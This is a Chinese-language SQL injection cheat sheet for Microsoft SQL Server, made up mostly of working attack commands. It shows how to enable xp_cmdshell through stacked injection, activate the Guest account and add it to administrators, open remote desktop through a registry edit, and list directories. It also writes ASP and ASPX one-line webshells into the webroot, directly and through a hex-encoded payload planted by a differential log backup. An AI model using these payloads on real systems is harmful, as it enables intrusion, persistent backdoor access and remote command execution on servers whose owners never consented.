一、基本命令:
cmd登录mssql:osql -S 127.0.0.1 -U sa -P 134679258qaZ@
使用数据库:use test
查询语句:select * from users
查询所有数据库:select name from sysdatabases
查看当前数据库所有的表:select name from sysobjects
查看某个表的列信息:select c.name,c.length from syscolumns c inner join sysobjects t on c.id=t.id and t.name="表名"
查询表数据:select * from 表名
获取数据库权限:?id=1 and 1=system_user
获取数据库版本:?id=1 and 1=(select @@version)
二、sqlserver权限
sa
权限:数据库操作,文件管理,命令执行,注册表读取等
system
db_owner
权限:文件管理
,
数据库操作等
users-adminstrators
public
权限:数据库操作
guest-users
注意:
system
是
windows
最高权限,
sa
账号一般会被赋权为
system
。当然
sa
账号可能会被降权处理,普通账号也有可能权限提升,需要判断
1.sa权限利用:
1.xp_cmdshell利用(mssql2005之后的版本需要利用堆叠注入手动开启)
?id=1;execute(
'sp_configure "show advanced options",1'
);execute(
'reconfigure'
);execute(
'sp_configure "xp_cmdshell", 1'
);execute(
'reconfigure'
);
execute(
'sp_configure'
)
2.进行3389远程桌面(前提获取的系统权限是system或administrator)(也可自己创建用户):
exec xp_cmdshell
'net user Guest 123.com'
#给guest用户设置复杂性密码
exec xp_cmdshell
'net user Guest /active:yes'
# 激活guest用户
exec xp_cmdshell
'net localgroup administrators Guest /add'
#将guest用户添加到
administrators用户组
exec xp_cmdshell
'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal"
"Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
# 开启3389端口
进行3389远程桌面连接
3.获取网站绝对路径(Ⅰ:默认路径、Ⅱ:跑字典、Ⅲ:命令执行保存表中进行查看):
create
table temp
(
data varchar
(
2000
))
;
#创建一个临时表
exec
xp_cmdshell
'dir C:\ > C:\temp.txt'
#执行命令,将命令结果导出至某个本地文件
BULK
INSERT
temp
FROM
'C:\temp.txt'
WITH
(
DATAFILETYPE
=
'char'
,KEEPNULLS
)
#将本地文件写入到表中
?id=1 and 1=(select
*
from
temp
for
xml path)
#读取全部临时表中的内容
4.上传一句话木马
exec xp_cmdshell
'echo ^<%execute request("123456")%^> >
C:\inetpub\wwwroot\shell.asp'
2.dbowner权限利用(网站可以进行注入、允许执行多条sql语句、无详细回显)
1.获取绝对路径
Ⅰ:mssql默认路径:C:\inetpub\wwwroot 或 字典跑出绝对路径 #笨比方法
Ⅱ:利用xp_dirtree获知web目录-->利用SQL语句创建临时表,插入一句话到表中-->利用数据库备份语句将数据库备份到Web目录并保存为ASP格式的文件,即可得到一个一句话木马-->连接木马
#
创建临时表
create table temp(dir nvarchar (255), depth varchar(255),files varchar(255), id
int not null identity (1,1));
2
.
执行
xp_dirtree
获得
C
盘的目录树
insert into temp(dir,depth,files) exec master.dbo.xp_dirtree
'C:'
,1,1;
3
.
查看
C
盘有几个文件夹,这样对
C
盘有个大致的了解
#
获取
C
盘文件夹的个数
and (select count(*) from temp)>21
#
逐个获取
C
盘文件夹的名字
and
1
=
(select
top
1
dir from temp where dir not
in
(
''
))
#
获取所有
C
盘文件夹的名字
and
1
=
(select dir from temp
for
xml path)
2.写入webshell
# asp
一句话木马
密码
123456
exec
master..xp_cmdshell
'echo ^<%execute request("123456")%^> >
C:\inetpub\wwwroot\shell.asp'
# aspx
一句话木马 密码
pass
exec
master..xp_cmdshell
'echo ^<%@ Page
Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> >
C:\inetpub\wwwroot\shell.aspx'
3.差异备份写shell
#
首先通过注入获取当前数据库名
test
#
然后进行一次完整的备份
backup database
库名
to disk
=
'c:\test.bak'
;
#
再按顺序执行下列代码即可
;
alter
database testdb
set
RECOVERY FULL
;
create
table test_tmp
(
str image
)
;backup log testdb to disk
=
'c:\test1'
with
init;
insert into
test_tmp
(
str
)
values
(
0
x3c2565786563757465207265717565737428223132333435362229253e
)
;backup log testdb to disk
=
'C:\inetpub\wwwroot\shell1.asp'
;
alter
database testdb
set
RECOVERY simple
#
0
x3c2565786563757465207265717565737428223132333435362229253e
是
<%
execute
request
(
"123456"
)
%>
的
16
进制编码
# C:\inetpub\wwwroot\shell1.asp
是 网站的绝对路径加上要写入的文件名
三、mssql一般注入流程:
1.mssql报错流程:
1.原理:利用字符串于int强制运算会报错的特性:1=@@version